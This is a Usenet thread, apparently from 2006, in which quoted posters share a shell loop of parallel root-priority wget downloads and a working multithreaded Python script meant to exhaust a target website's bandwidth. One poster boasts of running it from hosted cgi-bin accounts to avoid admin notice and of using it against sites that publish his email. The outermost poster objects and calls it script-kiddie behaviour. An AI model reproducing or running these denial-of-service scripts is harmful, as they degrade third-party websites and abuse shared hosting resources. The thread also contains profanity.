ed <ed@xxxxxxxxxxx> writes:
> On Sun, 24 Sep 2006 16:14:47 +0100
> Roy Schestowitz <newsgroups@xxxxxxxxxxxxxxx> wrote:
>
>> In case of bandwidth limit per download,
>>
>> while [ true ] ;
>> do
>> sudo nice --adjustment=-20 wget -O - http://tinyurl.com/kfgau >
>> /dev/null & sudo nice --adjustment=-20 wget -O -
>> http://tinyurl.com/kfgau > /dev/null & sudo nice --adjustment=-20
>> wget -O - http://tinyurl.com/kfgau > /dev/null ;
>> done ;
>>
>> By the way, I thought about outputting to /dev/null, but couldn't find
>> the option (still not familiar with the weath of options in man wget).
>
> Heh this is getting close to those scripts I would write when some cunt
> puts my email address in plain view on a website, with a referral value
> of something like "http://REMOVE.MY.EMAIL.ADDRESS.YOU.SICKO/", then wait
> for the bandwidth exceeded notice to appear on their site... They soon
> get the message.
I never had you tagged as a script kiddy.
Yet more unsavoury action from Roy and his gang. I'm tempted to raise
this with your ISP. But that would make me as bad as you!
>
> Perl has some nice functionality for getting pages many times over,
> often overlooked though, is python:
>
And now you're telling how to too. You should be ashamed of yourself.
> #!/usr/bin/python
>
> import thread,time,sys,socket
>
> def mythread():
> server = 'server'
> path = '/file'
> bytes = 0
>
> while(1):
> s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
> s.connect((server, 80))
> s.send( "GET %s HTTP/1.1\r\n" % path );
> s.send( "Referer: http://REMOVE.MY.EMAIL.ADDRESS/\r\n" )
> s.send( "Host:%s\r\n" % server )
> s.send( "Connection:close\r\n\r\n" );
>
> while(1):
> data = s.recv(1024)
> if not data:
> break
>
> bytes += len(data)
>
> print( "bytes: %d" % bytes )
> bytes = 0
>
> sys.stdout.flush()
>
>
> def main():
> print "Content-type: text/plain\r\n\r\n"
>
> for i in range( 1, 10 ):
> thread.start_new_thread( mythread, ())
>
> while( 1 ):
> time.sleep( 0.5 )
>
> main()
>
> That script was uploaded to a few hosts where I have cgi-bin access, in
> nice fast data centres... read into this what you will ;) Most admins
> never think about python as being something that can be used as a
> resource hog, everyone knows that perl can be used to this sort of thing
> and as such threads are often disabled, as with php. Python on the other
> hand, whats that?
--
> No manual is ever necessary.
May I politely interject here: BULLSHIT. That's the biggest Apple lie of all!
-- Discussion in comp.os.linux.misc on the intuitiveness of interfaces
|
|